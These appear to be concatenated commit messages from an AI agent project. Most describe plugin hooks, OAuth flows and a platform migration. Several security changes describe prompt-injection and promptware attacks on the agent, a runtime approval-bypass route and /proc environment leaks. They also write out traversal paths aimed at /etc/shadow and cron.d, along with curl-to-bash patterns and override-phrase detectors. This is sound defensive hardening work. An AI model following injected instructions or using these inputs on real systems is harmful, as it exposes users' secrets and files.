test_line_ending_preservation.py (12), test_patch_failure_tracking.py (5)
- All existing tests pass (165/165 in the touched files)
- E2E verified with real _handle_patch / _handle_write_file calls
against real CRLF files and real failure loops
Closes part of #507. The remaining open items in #507 (2b start_line
hint, behavioral rules) were declined after audit:
- 2b adds schema bloat for a problem the existing 'multiple matches'
contract already handles
- Behavioral rules conflict with the personality system
Items 1, 2d, 2e, 3, 4 of #507 were already landed in earlier work.
Hardens the context window against Brainworm-class promptware attacks
(see #496). Three changes:
1. tools/threat_patterns.py — single source of truth for injection/promptware
patterns. Replaces the duplicated pattern lists in prompt_builder.py and
memory_tool.py. Adds ~15 new Brainworm/C2 patterns (node registration,
heartbeat/beacon, pull tasking, anti-forensic disk avoidance, identity
override, known framework names). Three scopes — 'all' (narrow, classic
injection), 'context' (adds promptware/role-play, broader detection),
'strict' (adds persistence/SSH-backdoor patterns for user-mediated writes).
2. MemoryStore.load_from_disk() now scans entries at snapshot-build time.
Poisoned entries are replaced with [BLOCKED: ...] placeholders in the
frozen system-prompt snapshot. Live state keeps the original so the
user can still inspect + remove via memory(action=read/remove). Scan is
deterministic from disk bytes — prefix-cache invariant holds.
3. make_tool_result_message() wraps results from high-risk tools
(web_extract, web_search, browser_*, mcp_*) in
<untrusted_tool_result source="...">...</untrusted_tool_result>
delimiters with framing prose telling the model the content is data,
not instructions. Architectural defense against indirect injection
from poisoned web pages, GitHub issues, MCP responses — does NOT
regex-scan tool results (pattern arms race + per-iteration latency).
Multimodal content lists pass through unwrapped to preserve adapter
compatibility.
Pattern philosophy: anchor on C2-specific vocabulary or unambiguous attack
behavior, NOT on bossy English. Dropped patterns suggested in #496 that
would have tripped legitimate content: standalone 'you are obligated to',
'do not respond immediately', 'you must X' without a C2-verb anchor.
Validation:
- 257/257 targeted tests pass (test_threat_patterns + test_memory_tool +
test_tool_dispatch_helpers + test_prompt_builder)
- E2E run with real Brainworm payload: blocked from AGENTS.md context-file
path, blocked from MEMORY.md snapshot, wrapped in delimiters when
arriving via web_extract. Legitimate 'you must follow conventions'
phrasing not flagged.
Explicitly NOT in this PR (per #496 discussion):
- Per-tool-result regex scanning (pattern arms race)
- SessionBehaviorMonitor / polling-loop detection (wrong layer)
- Outbound network gating (Docker backend already covers this)
- security.context_scanning warn|block knob (current behavior is always
block-with-placeholder — there's no warn mode that makes sense)
Closes#496 for Phase 1 + the architectural delimiter piece of Phase 2.
Phase 3 stays in tracking issue territory.
_apply_xai_auto_speech_tags runs two independent transformations:
1. paragraph breaks (\n\n) → " [pause] "
2. first-sentence boundary → " [pause] "
Both fired unconditionally, so multi-paragraph input produced
"Hello world. [pause] [pause] Second paragraph." — an unnatural
double pause in the TTS audio.
Guard the first-sentence substitution with _XAI_SPEECH_TAG_RE.search(clean):
if the paragraph pass already inserted a [pause] tag, skip the
first-sentence pass. Single-paragraph behavior is unchanged.
Validate Skills Hub lock-file install paths at both ends of the
lifecycle so a poisoned or malformed lock.json entry cannot drive
shutil.rmtree to a location outside SKILLS_DIR:
- HubLockFile.record_install rejects empty/'.'/absolute/traversal/
Windows-drive paths at write time, and requires the final path
component to match the skill name (shape: '<skill>' or
'<category>/<skill>').
- install_from_quarantine resolves its destination through the same
validator, catching symlink/junction redirects inside skills/.
- uninstall_skill resolves the lock entry through the new validator
before rmtree. Refuses anything that resolves to SKILLS_DIR itself
(empty/dot paths) or to a target outside SKILLS_DIR (absolute paths,
traversal, symlinked dirs in skills/ pointing outward).
- 14 focused regression tests covering each rejection class plus a
symlink-redirect case.
E2E verified: hand-crafted poisoned lock.json entries (absolute path,
empty install_path, traversal) all refuse and leave the targeted
victim untouched; legitimate uninstall still succeeds.
Co-authored-by: Teknium <127238744+teknium1@users.noreply.github.com>
When an MCP server triggers OAuth at startup, the user can now type 'skip'
(or 'cancel', 's', 'n', 'no', 'q', 'quit') at the paste prompt + Enter to
exit the flow cleanly and continue agent startup without that server.
Previously the only ways to bypass an unwanted OAuth prompt were:
- Wait the full 5-minute paste timeout
- Ctrl+C (also kills the whole reload, may leave half-state)
- Edit config.yaml to set 'enabled: false' on the server
Skip writes a sentinel to result['error'] which _wait_for_callback maps to
OAuthNonInteractiveError('user_skipped'). mcp_tool already classifies that
as an auth error in _is_auth_error() and the reconnect loop logs it as
'not retrying automatically' — server stays disconnected for the session,
other MCP servers continue normally, no infinite retry burn.
The skip message tells users how to re-auth later ('hermes mcp login') or
disable persistently ('enabled: false'), so they don't have to remember.
14 new tests covering: case-insensitive skip parsing, all 7 skip tokens,
skip not stomping an HTTP-listener win, skip routed to skip path rather
than URL-parse path, sentinel mapped to OAuthNonInteractiveError, prompt
mentions the skip option.
The CLI status bar tracked /background agent tasks (▶ N) but not shell
processes spawned via terminal(background=true). Both kinds of work can
run concurrently and a user has no in-bar signal for shell processes.
Add an independent indicator (⚙ N) sourced from
tools.process_registry.process_registry._running. The two indicators
render side-by-side when both are active (▶ 1 │ ⚙ 2), hidden when their
count is zero. Renders at all four status-bar tiers (text fallback +
prompt_toolkit fragments, narrow + wide widths). The narrow <52 tier
still drops both for space — unchanged.
New ProcessRegistry.count_running() returns len(_running) without
acquiring _lock; CPython dict len is atomic and we're polling on every
status-bar tick, so lock-free is the right tradeoff.
When the user runs OAuth on a remote/SSH machine without a port forward,
the OAuth provider redirects to http://127.0.0.1:<port>/callback which
only the listener on the remote machine can receive — the user's browser
on another box just shows a connection error.
_wait_for_callback() now races the HTTP listener against a stdin reader
on interactive TTYs. The user can copy the URL from the browser's address
bar after authorization (which contains code=...&state=...) and paste it
back at the prompt. Whichever fills the result dict first wins; the HTTP
listener remains the primary path for local sessions and SSH tunnels.
Accepts any of:
- Full local redirect URL: http://127.0.0.1:N/callback?code=...&state=...
- Provider URL after redirect: https://mcp.linear.app/callback?code=...&state=...
- Just the query string: ?code=...&state=... or code=...&state=...
The paste thread only spawns when _is_interactive() is true, preserving
the existing 'no input() in headless runs' invariant — verified by
TestWaitForCallbackPasteIntegration.test_paste_prompt_NOT_shown_when_noninteractive.
The SSH-session hint in _redirect_handler is updated to surface the paste
option as the primary remedy, with ssh -L tunneling as the alternative.
text_to_speech_tool accepts an explicit output_path. Without a traversal
guard, a path containing '..' components (whether prompt-injection-
controlled, from a confused skill, or just a buggy caller) could escape
its declared base and write the audio to a system location — e.g.
`output_path='audio/../../etc/cron.d/x'` lands the file outside the
intended audio cache.
Reject '..' components in the user-supplied path. Explicit absolute
paths are unchanged (the agent legitimately writes audio wherever the
user/caller asks); only traversal-style escapes are blocked. The
terminal tool can still write anywhere with approval — this just keeps
the unattended TTS surface from materializing files via traversal.
Regression tests cover: '..' in the middle (audio/../../etc/...),
bare '..' prefix, and the negative cases (absolute paths + relative
paths without '..' both pass through unchanged).
Salvaged from PR #6693 by @aaronlab. The original PR confined output to
DEFAULT_OUTPUT_DIR-or-cwd, which broke 9 existing tests that legitimately
write to tmp_path locations. The traversal-only check covers the actual
threat (path-escape via '..' from prompt injection) without restricting
where users can choose to write their audio.
The remaining pieces of #6693 (skill_commands rglob symlink rejection,
delegate_tool batch prefix display) are dropped:
- skill_commands rglob: breaks the documented design supporting
~/.hermes/skills/<name> as a symlink to a checked-out skill elsewhere
(see comment at agent/skill_commands.py:73-75)
- delegate_tool batch prefix: pure UX, doesn't belong in a security PR
Co-authored-by: teknium1 <127238744+teknium1@users.noreply.github.com>
* fix(transcription): reject symlinked audio inputs
Validation runs before provider selection, so rejecting symbolic-link paths there prevents supported-extension links from being treated as normal audio files. Use os.path.islink to avoid perturbing the existing Path.stat error path and to reject links before resolving targets.
Constraint: Keep validation platform-safe and avoid requiring symlink support where unavailable.
Rejected: Use Path.is_symlink | it consumes pathlib stat calls and broke the existing stat error regression.
Confidence: high
Scope-risk: narrow
Directive: Keep path hardening in _validate_audio_file before provider dispatch.
Tested: source venv/bin/activate && python -m pytest tests/tools/test_transcription_tools.py::TestValidateAudioFileEdgeCases -q (5 passed)
Tested: source venv/bin/activate && python -m pytest tests/tools/test_transcription_tools.py::TestValidateAudioFileEdgeCases tests/tools/test_transcription_tools.py::TestTranscribeAudioDispatch::test_invalid_file_short_circuits -q (6 passed)
Tested: source venv/bin/activate && python -m compileall tools/transcription_tools.py tests/tools/test_transcription_tools.py
Tested: git diff --check
Not-tested: Full tests/tools/test_transcription_tools.py under .[dev] only; existing faster_whisper optional dependency tests fail with ModuleNotFoundError.
* Keep transcription tests independent of optional whisper install
The transcription suite mocks faster-whisper directly, so a minimal test stub keeps the branch verifiable in environments where the optional package is not installed. This preserves the existing mock-based coverage without adding a dependency.
Constraint: faster-whisper is an optional local STT dependency and is absent from the current validation environment
Rejected: Install faster-whisper just for branch validation | would add heavyweight environment coupling outside the patch scope
Confidence: high
Scope-risk: narrow
Directive: Keep this as a test-only stub unless production import semantics change
Tested: pytest tests/tools/test_transcription_tools.py -q
---------
Co-authored-by: WuKongAI-CMU <210765158+WuKongAI-CMU@users.noreply.github.com>
* fix: reject read_file symlinks to blocking devices
The read_file guard already refused direct device paths such as /dev/zero, but a workspace symlink resolving to one of those devices could still reach the shell-backed read path and hang on wc/head/sed. Keep the literal alias check and add a resolved-path pass so local symlinks to blocked device/fd endpoints are rejected before I/O.
Constraint: Preserve literal /dev/stdin handling before terminal-specific realpath resolution
Confidence: high
Scope-risk: narrow
Tested: pytest tests/tools/test_file_read_guards.py tests/tools/test_file_tools.py -q; python -m compileall tools/file_tools.py tests/tools/test_file_read_guards.py; git diff --check
Signed-off-by: WuKongAI-CMU <210765158+WuKongAI-CMU@users.noreply.github.com>
* Keep file guard tests off sensitive macOS temp paths
The branch now inherits a sensitive-path write guard from upstream main. On macOS, tempfile.mkdtemp() resolves under /private/var/folders, so the new write-path guard fired before the file read dedup assertions could exercise their intended behavior. The tests now create their scratch files inside the worktree temp checkout, outside those system-sensitive prefixes, without changing production behavior.
Constraint: Rebased branch must pass the expanded file read guard suite on macOS.
Rejected: Loosen the production sensitive-path prefix list | broader behavior change unrelated to this PR.
Confidence: high
Scope-risk: narrow
Tested: pytest tests/tools/test_file_read_guards.py -q
---------
Signed-off-by: WuKongAI-CMU <210765158+WuKongAI-CMU@users.noreply.github.com>
Co-authored-by: WuKongAI-CMU <210765158+WuKongAI-CMU@users.noreply.github.com>
The read_file tool and terminal cat can access /proc/self/environ to
recover all process env vars including secrets stripped by the subprocess
blocklist. Output redaction partially mitigates (catches known-format
tokens) but misses custom/proprietary key formats, especially when
values are printed without their key names.
Add /proc/*/environ, /proc/*/cmdline, and /proc/*/maps to the blocked
device paths in _is_blocked_device():
- /proc/*/environ: leaks full process env (API keys, tokens)
- /proc/*/cmdline: leaks command-line args (may contain passwords)
- /proc/*/maps: leaks memory layout (ASLR bypass for exploitation)
Legitimate /proc reads (cpuinfo, meminfo, uptime, version) remain
accessible — the check only blocks per-pid pseudo-files with known
sensitive suffixes.
Complements PR #4432 (PID namespace isolation for child processes)
which prevents children from reading the parent's /proc, but does not
prevent the parent process itself from being read via file tools.
Partially addresses #4427
Changes:
tools/file_tools.py | +6
tests/tools/test_file_read_guards.py | +18 -1
Co-authored-by: dsr-restyn <dsr-restyn@users.noreply.github.com>
* fix(approval): harden YOLO bypass, LLM parsing, auto-approve audit, pipe pattern
- BUG-009 (CRITICAL): freeze HERMES_YOLO_MODE at module import via
_YOLO_MODE_FROZEN; prevents skills/prompt-injection from calling
os.environ["HERMES_YOLO_MODE"]="true" at runtime to bypass all checks
- BUG-002 (HIGH): replace substring "APPROVE" in answer with exact
answer == "APPROVE" in _smart_approve; prompt already requests exactly
one word, substring match was exploitable via verbose LLM responses
- BUG-001 (MEDIUM): add logger.warning for every dangerous command that
auto-approves in non-interactive non-gateway context; makes silent
approvals visible in audit logs without breaking script behavior
- BUG-008 (LOW): expand curl/wget pipe pattern to cover | /bin/bash and
| bash -c variants, not just | sh / | bash
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(approval): add missing is_truthy_value import + fix yolo test patches
_YOLO_MODE_FROZEN uses is_truthy_value() from utils — import was missing.
Tests that set HERMES_YOLO_MODE via monkeypatch.setenv() no longer work
because the value is frozen at import time; update them to patch the
module-level flag directly via monkeypatch.setattr().
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
---------
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
register_env_passthrough() (the skill-declared path) filters out names in
_HERMES_PROVIDER_ENV_BLOCKLIST and logs a warning citing GHSA-rhgp-j443-p4rf.
_load_config_passthrough() (the config.yaml path) did not. Both feed the
same is_env_passthrough() allowlist that local.py and code_execution_tool.py
consult before stripping a variable from the child env.
A skill that wanted to leak ANTHROPIC_API_KEY or OPENAI_API_KEY into
execute_code could no longer self-register the name (the GHSA fix
blocks it), but the same outcome was still reachable by asking the
operator to add the name to terminal.env_passthrough in config.yaml,
or by any in-process actor with write access to ~/.hermes/config.yaml.
Apply the same _is_hermes_provider_credential filter inside
_load_config_passthrough, mirroring the skill-path warning so operators
see the same explanation. Non-Hermes API keys (TENOR_API_KEY,
NOTION_TOKEN, etc.) are unaffected since they are not in the blocklist.
V4A patch '*** Update File:', '*** Add File:', '*** Delete File:' headers
come from patch CONTENT, not the explicit `path=` argument. That makes
them attacker-influenceable through skill content, web extract output,
prompt injection, and other surfaces the agent processes. Headers like
'*** Update File: ../../../etc/shadow' would resolve relative to the
agent's cwd; in deployment configurations where that cwd is deep enough
to land outside Hermes' protected paths, the write could land somewhere
the agent operator did not intend.
Reject any V4A header containing a '..' path component before applying
the patch. The explicit `path=` argument on patch_tool is UNCHANGED —
the agent legitimately uses '..' there (e.g. `patch path='../other_module/x.py'`
from a worktree dir is normal cross-module editing).
Regression tests: V4A Update header with traversal rejected, V4A Add
header with traversal rejected, patch_v4a never invoked when rejection
fires.
Salvaged from PR #29395 by @waefrebeorn. The original PR added
has_traversal_component as a blanket reject on read_file_tool,
write_file_tool, patch_tool's explicit path, and search_tool — that
would break legitimate agent operation where '..' is normal. Also
dropped the over-eager skills_guard pattern additions
(pickle.loads/marshal.loads/ctypes.CDLL/importlib at high/critical
severity would false-positive on legit data-science and FFI skills).
Co-authored-by: teknium1 <127238744+teknium1@users.noreply.github.com>
Expand _MEMORY_THREAT_PATTERNS from 13 to 24 regex patterns and align
_INVISIBLE_CHARS with skills_guard.py (10 → 17 characters).
Key changes:
- Add multi-word bypass prevention (?:\w+\s+)* to injection patterns
- Add missing injection patterns: role_pretend, leak_system_prompt,
remove_filters, fake_update, translate_execute, html_comment_injection,
hidden_div
- Add exfiltration patterns: send_to_url, context_exfil
- Add persistence patterns: agent_config_mod, hermes_config_mod
(both require modification-verb prefix to avoid false positives on
mere mentions of config filenames)
- Add hardcoded secret detection pattern
- Add role_hijack precision fix: require article after "now" to avoid
blocking "you are now ready/connected/set up" etc.
- Expand invisible unicode set with directional isolates (U+2066-2069)
and invisible math operators (U+2062-2064)
Test coverage expanded from ~8 to ~30 scan tests including dedicated
false-positive regression tests for all precision-sensitive patterns.
Known limitations (deferred to follow-up PRs):
- prompt_builder.py and cronjob_tools.py still use older pattern sets
- No semantic/LLM-based scanning (regex-only approach)
- No cross-entry or cross-store analysis
Mirror of the TTS command-provider registry (PR #17843) for STT. Lets any
shell-driven ASR engine — Doubao ASR, NVIDIA Parakeet, whisper.cpp builds,
SenseVoice, curl pipelines — become an STT backend with zero Python.
Complements the legacy HERMES_LOCAL_STT_COMMAND escape hatch (preserved
untouched via the built-in local_command path) and the
register_transcription_provider() Python plugin hook also shipped in this
PR.
Resolution order (mirrors TTS exactly):
1. Built-in (local, local_command, groq, openai, mistral, xai)
→ native handler. Always wins.
2. stt.providers.<name>: type: command → command-provider runner.
3. Plugin-registered TranscriptionProvider → plugin dispatch.
4. No match → 'No STT provider available'.
Files
-----
- tools/transcription_tools.py: BUILTIN_STT_PROVIDERS frozenset retained;
added _resolve_command_stt_provider_config, _transcribe_command_stt,
and local helpers for template rendering, shell-quote context, and
process-tree termination. Helpers are documented as mirrors of their
tts_tool.py counterparts (kept local to avoid cross-tool private
import). Wire-in is one insertion point in transcribe_audio() after
the xai elif and before the plugin dispatcher. Plugin dispatcher
additionally defensively short-circuits when a same-name command
config exists (command-wins-over-plugin invariant).
- tests/tools/test_transcription_command_providers.py: 50 new tests
covering resolution (builtin precedence, type/command gating,
case-insensitive lookup, legacy stt.<name> back-compat), helpers
(timeout fallback, format validation, iter, has-any), template
rendering (shell-quote contexts, doubled-brace preservation),
end-to-end via _transcribe_command_stt (output_path read, stdout
fallback, timeout, nonzero exit envelope, model override,
language precedence), and dispatcher integration via the real
transcribe_audio() including command-wins-over-plugin and
builtin-shadow-rejection.
- tests/plugins/transcription/check_parity_vs_main.py: extended from
10 to 13 scenarios. New cases: command-provider-installed,
command-vs-plugin-same-name (verifies command wins precedence),
explicit-openai-with-command-shadow (verifies built-in wins).
Adds command_provider dispatch_kind detection via transcript prefix
(CMD: vs PLUGIN:) so command-provider scenarios can be distinguished
from plugin scenarios even when sharing a provider name.
- website/docs/user-guide/features/tts.md: new 'STT custom command
providers' section symmetric to the TTS section — example config,
placeholder grammar table (input_path / output_path / output_dir /
format / language / model), transcript-read-back semantics (file
first, then stdout fallback), optional keys table, behavior notes,
security note. Updated 'Python plugin providers (STT)' to include
the new 'When to pick which (STT)' decision table and updated
resolution-order section (now 4 layers instead of 3).
Verification
------------
189/189 STT targeted tests + 50/50 new command-provider tests pass.
Combined sweep: tests/tools/ 5576/5576, tests/agent/ + tests/hermes_cli/
8623/8623 — zero regressions across 14,199 tests.
Parity harness: 13 scenarios, 9 OK + 4 expected diffs
(no_provider_error → plugin, plugin_unavailable, command_provider × 2).
E2E live-verified in an isolated HERMES_HOME with a real .wav file:
command: → dispatched to stt.providers.my-fake-cli
plugin: → dispatched to registered TranscriptionProvider
command-wins-over-plugin: → command provider beats same-name plugin
builtin-wins-over-command: → built-in OpenAI handler fires;
stt.providers.openai: type: command
does NOT hijack it.
Add an opt-in Python plugin surface for speech-to-text backends,
mirroring the TTS hook pattern. New backends (OpenRouter, SenseAudio,
Gemini-STT, custom proprietary engines) can be implemented as plugins
without modifying tools/transcription_tools.py.
Built-ins always win
--------------------
The 6 built-in STT providers (local/faster-whisper, local_command,
groq, openai, mistral, xai) keep their native handlers. Plugins
attempting to register under a built-in name are rejected at
registration time with a warning and re-checked defensively at
dispatch.
Resolution order
----------------
1. stt.provider matches a built-in → built-in dispatch (unchanged)
2. stt.provider matches a registered plugin →
a. if plugin.is_available() returns False → unavailability envelope
identifying the plugin (not the generic "No STT provider"
message — the user explicitly opted into this plugin)
b. otherwise plugin.transcribe() with model + language forwarded
from stt.<provider>.{model,language} config
3. No match → legacy "No STT provider available" error (unchanged)
Per-provider config namespace
-----------------------------
Plugins read their config from stt.<provider> in config.yaml, mirroring
how built-ins read stt.openai.model / stt.mistral.model. The dispatcher
forwards `model` and `language` from this section. Caller's explicit
`model=` argument overrides the config-set model.
Files
-----
- agent/transcription_provider.py: TranscriptionProvider ABC
- agent/transcription_registry.py: register/get/list providers,
built-in shadow guard, _reset_for_tests
- hermes_cli/plugins.py: register_transcription_provider() on
PluginContext
- tools/transcription_tools.py: BUILTIN_STT_PROVIDERS frozenset,
_dispatch_to_plugin_provider() with availability gate, wire-in
after xai branch and before "No STT provider" error
- tests/agent/test_transcription_registry.py: 27 tests
- tests/hermes_cli/test_plugins_transcription_registration.py: 3 tests
- tests/tools/test_transcription_plugin_dispatch.py: 28 tests
(covering built-in short-circuit, plugin dispatch, exception
envelope, non-dict guard, availability gate, language forwarding)
- tests/plugins/transcription/check_parity_vs_main.py: 10-scenario
subprocess-pinned parity harness vs origin/main
- website/docs/user-guide/features/{tts,plugins}.md: docs
Behavior parity
---------------
10 scenarios, 8 OK + 2 expected DIFFs:
no_provider_error → plugin (plugin-installed scenario)
no_provider_error → plugin_unavailable (plugin-installed-unavailable
scenario; PR returns cleaner envelope)
Zero behavior change for users not opting into a plugin.
Issue follow-up to #30398.
Second migration of an existing built-in platform adapter after Discord
(PR #30591) — follows the same shape established by IRC / Teams / LINE /
Google Chat / SimpleX and the playbook in
`references/platform-plugin-migration.md`. Advances the umbrella refactor
in #3823.
Matches Discord's parity bar — adapter under `plugins/platforms/mattermost/`
with the standard `__init__.py` / `adapter.py` / `plugin.yaml` shell,
`register(ctx)` entry point, **no back-compat shim** at the old import
path, and full parity for all five hooks Discord uses plus the
`apply_yaml_config_fn` hook (mattermost is the second consumer of #25443
after Discord):
* `standalone_sender_fn` — out-of-process cron delivery via Mattermost
REST API. Picks up the thread_id + media_files capabilities the
legacy `_send_mattermost` lacked (parity with Discord's `_standalone_send`).
* `setup_fn` — interactive `hermes setup gateway` wizard.
* `apply_yaml_config_fn` — translates `config.yaml` `mattermost:` keys
(`require_mention`, `free_response_channels`, `allowed_channels`) into
`MATTERMOST_*` env vars (replaces the hardcoded block in
`gateway/config.py`).
* `is_connected` — declares connection state from `MATTERMOST_TOKEN` +
`MATTERMOST_URL`.
* `check_fn` — verifies aiohttp is installed and both required env vars
are set.
* plus `allowed_users_env`, `allow_all_env`, `cron_deliver_env_var`,
`max_message_length` (4000 — Mattermost practical limit), `emoji`,
`required_env`, `install_hint`.
Files
-----
* `gateway/platforms/mattermost.py` (873 LOC) →
`plugins/platforms/mattermost/adapter.py` (git rename, R071) +
appended `register()` block, hook helpers, and `_standalone_send`
with media upload + thread_id support.
* New `plugins/platforms/mattermost/{__init__.py, plugin.yaml}` with
`requires_env` / `optional_env` declarations covering MATTERMOST_URL,
MATTERMOST_TOKEN, MATTERMOST_ALLOWED_USERS, MATTERMOST_ALLOW_ALL_USERS,
MATTERMOST_HOME_CHANNEL, MATTERMOST_REPLY_MODE,
MATTERMOST_REQUIRE_MENTION, MATTERMOST_FREE_RESPONSE_CHANNELS,
MATTERMOST_ALLOWED_CHANNELS.
* `gateway/config.py`: delete 17-LOC `mattermost_cfg` YAML→env bridge
(moved into plugin's `_apply_yaml_config`).
* `gateway/run.py::_create_adapter`: delete `Platform.MATTERMOST elif` —
replaced by the existing generic plugin-registry-first dispatch.
* `tools/send_message_tool.py`: delete `_send_mattermost` (22 LOC) +
`Platform.MATTERMOST elif` in `_send_to_platform` — the `else` branch
already routes plugin platforms through `_send_via_adapter`, which
hits the registry's `standalone_sender_fn`.
* `hermes_cli/setup.py`: delete `_setup_mattermost` (44 LOC) — replaced
by the plugin's `interactive_setup`.
* `hermes_cli/gateway.py`: delete `_PLATFORMS["mattermost"]` dict entry
(3 LOC) — plugin's `setup_fn` is dispatched via the plugin path in
`_configure_platform`.
* Consumer rewrite: 5 test files (test_mattermost.py,
test_media_download_retry.py, test_send_multiple_images.py,
test_stream_consumer.py, test_ws_auth_retry.py) get
`gateway.platforms.mattermost` → `plugins.platforms.mattermost.adapter`
with the bulk-rewrite recipe from the platform-plugin-migration playbook.
Single `mock.patch` string in test_stream_consumer.py also repointed.
* `tests/tools/test_send_message_missing_platforms.py`: thin
`(token, extra, chat_id, message)` compat shim around the plugin's
`_standalone_send(pconfig, …)` so existing test bodies continue to
work without rewriting every signature.
Validation
----------
* Plugin discovery: mattermost registers from `plugins/platforms/mattermost/`
alongside discord / teams / irc / line / google_chat / simplex.
All 9 hooks present (setup_fn, standalone_sender_fn,
apply_yaml_config_fn, is_connected, check_fn, allowed_users_env,
allow_all_env, cron_deliver_env_var, max_message_length=4000).
* Mattermost-touching tests: 62/62 pass
(`test_mattermost.py` + `test_send_message_missing_platforms.py`).
* Targeted selectors (mattermost or platform_registry or stream_consumer
or ws_auth_retry or media_download_retry or send_multiple_images or
send_message_tool or platform_connected): 433/433 pass.
* Full sweep (`scripts/run_tests.sh tests/gateway/ tests/cron/
tests/tools/test_send_message_tool.py tests/tools/test_send_message_missing_platforms.py
tests/integration/`): **6220/6220 pass in 47.8s, 0 failures**.
* Lint: ruff clean on all touched files.
* Git identity verified: kshitijk4poor.
* Rename detection: R071 (similarity dropped from a hypothetical R09x
by the ~320-line appended register block — ~36% growth over the
873-LoC base, vs Discord's 5101 LoC base which kept R091).
Closes part of #3823.
The s6-overlay migration replaced every runtime use of gosu with
s6-setuidgid (in stage2-hook.sh, main-wrapper.sh, per-service run
scripts, and cont-init.d hooks), but the gosu binary itself was still
being copied into the image from tianon/gosu, and several comments
across the repo still pointed to it.
Image changes:
- Drop the FROM tianon/gosu:1.19-trixie AS gosu_source stage
- Drop the COPY --from=gosu_source /gosu /usr/local/bin/ layer
- Net: one fewer base-image pull, ~12-15 MB layer eliminated
Documentation/comment refresh (no behavior change):
- Dockerfile: update root-user rationale comment + cont-init.d comment
- docker/main-wrapper.sh: drop "pre-s6 contract (gosu drop)" reference
- docker-compose.yml: update UID/GID remap comment
- .hadolint.yaml: update DL3002 ignore rationale
- website/docs/user-guide/docker.md: privilege-drop helper is s6-setuidgid now
- hermes_cli/config.py: docker_run_as_host_user docstring
tools/environments/docker.py runs *arbitrary user images* via the
terminal backend, not the bundled Hermes image. It still needs SETUID/
SETGID caps so user images that use gosu/su/s6-setuidgid all work.
Renamed the cap-list constant _GOSU_CAP_ARGS → _PRIVDROP_CAP_ARGS and
updated comments to list s6-setuidgid alongside the others as examples.
The matching test (test_security_args_include_setuid_setgid_for_gosu_drop
→ test_security_args_include_setuid_setgid_for_privdrop) was renamed
and its docstring updated; behavior is unchanged.
Verification:
- hadolint clean against .hadolint.yaml
- shellcheck clean against all docker/ shell scripts
- Image rebuilt successfully (sha 1a090924ccea)
- Docker harness: 19 passed in 41.87s (every Phase 0 test + Phase 4
per-profile-gateway lifecycle + container-restart reconciliation)
- tests/tools/test_docker_environment.py: 23 passed (rename did not
break test discovery; pre-existing unrelated mock warning)
The plan document (docs/plans/2026-05-07-s6-overlay-dynamic-subagent-gateways.md)
intentionally retains its historical references to gosu — it describes
the pre-s6 entrypoint as background for understanding the migration.
Adds a `TTSProvider(ABC)` + `register_tts_provider()` extension point
to the plugin context API, **alongside** the existing config-driven
`tts.providers.<name>: type: command` registry from PR #17843. This is
additive — the command-provider surface stays as the primary way to
add a TTS backend.
The hook covers cases the shell-template grammar can't reasonably
express:
- Native Python SDKs without a CLI (Cartesia, Fish Audio, etc.)
- Streaming synthesis (chunked Opus → voice-bubble delivery)
- Voice metadata API for the `hermes tools` picker
- OAuth-refreshing auth flows
None of the 10 inline built-in providers (`edge`, `openai`,
`elevenlabs`, `minimax`, `gemini`, `mistral`, `xai`, `piper`,
`kittentts`, `neutts`) are migrated to plugins. They stay inline. The
hook is for *new* engines that aren't built-in.
## Resolution order
The dispatcher's resolution order is the load-bearing invariant:
1. `tts.provider` is a built-in name → built-in dispatch. **Always wins.**
2. `tts.provider` matches `tts.providers.<name>` with `command:` set
→ command-provider dispatch (PR #17843).
3. `tts.provider` matches a plugin-registered `TTSProvider`
→ plugin dispatch (new).
4. No match → falls through to Edge TTS default (legacy behavior).
Built-ins-always-win is enforced at THREE layers:
- Registry: `register_provider()` rejects shadowing names with a warning.
- Dispatcher: `_dispatch_to_plugin_provider()` short-circuits built-in
names defensively before consulting the registry.
- Picker: `_plugin_tts_providers()` filters built-in shadows out of
the `hermes tools` row list defensively.
Command-providers-win-over-plugins is enforced at TWO layers:
- The caller in `text_to_speech_tool` checks
`_resolve_command_provider_config` first.
- `_dispatch_to_plugin_provider` re-checks for a same-name command
config defensively so a refactor of the caller can't silently break
the invariant.
## New files
- `agent/tts_provider.py` — `TTSProvider(ABC)` with `synthesize()` (required),
`list_voices()`, `list_models()`, `get_setup_schema()`, `stream()`,
`voice_compatible` (all optional with sane defaults). Mirrors
`agent/image_gen_provider.py` shape.
- `agent/tts_registry.py` — `register_provider`/`get_provider`/`list_providers`
with `_BUILTIN_NAMES` reject-shadowing invariant. Mirrors
`agent/image_gen_registry.py` shape.
- `plugins/tts/...` directory ready for community plugins (none shipped).
## Modified files
- `hermes_cli/plugins.py` — `register_tts_provider()` method on
`PluginContext`. Matches the gating shape of
`register_image_gen_provider()` / `register_browser_provider()`.
- `tools/tts_tool.py` — `_dispatch_to_plugin_provider()` +
`_plugin_provider_is_voice_compatible()` + walrus-elif wiring into
the main dispatcher. Built-in elif chain untouched.
- `hermes_cli/tools_config.py` — `_plugin_tts_providers()` injects
plugin rows into the Text-to-Speech picker category alongside the
10 hardcoded built-in rows.
## Tests
- `tests/agent/test_tts_registry.py` — 47 tests covering registration,
lookup, ABC contract, helpers, AND a `TestBuiltinSync` regression
test that fails if `agent.tts_registry._BUILTIN_NAMES` drifts from
`tools.tts_tool.BUILTIN_TTS_PROVIDERS` (kept duplicated due to
circular import constraints).
- `tests/tools/test_tts_plugin_dispatch.py` — 35 tests covering
built-in-always-wins, command-wins-over-plugin, plugin dispatch,
exception passthrough, voice_compatible helper.
- `tests/hermes_cli/test_tts_picker.py` — 10 tests covering the
picker surface, builtin shadowing defense, integration with
`_visible_providers`.
- `tests/hermes_cli/test_plugins_tts_registration.py` — 3 end-to-end
tests via `PluginManager.discover_and_load()`.
- `tests/plugins/tts/check_parity_vs_main.py` — 9-scenario subprocess
parity harness vs `origin/main`. The only intentional diff is
`fallback_edge → plugin` for the `plugin-installed` scenario.
## Verification
- 95/95 new tests pass.
- 170/170 pre-existing TTS tests (test_tts_command_providers,
test_tts_max_text_length, test_tts_speed, etc.) pass unchanged.
- Parity harness against `origin/main`: 8 OK + 1 expected DIFF.
- E2E smoke: a registered plugin's `synthesize()` is called via
`text_to_speech_tool` with the standard JSON envelope returned.
- Ruff clean on all touched files.
## Docs
- `website/docs/user-guide/features/tts.md` — new "Python plugin
providers" section with a decision table (command-provider vs
plugin), minimal plugin example, and the optional-hook reference.
- `website/docs/user-guide/features/plugins.md` — TTS row updated to
mention both surfaces (command-provider primary, plugin for
SDK/streaming).
Closes#30398
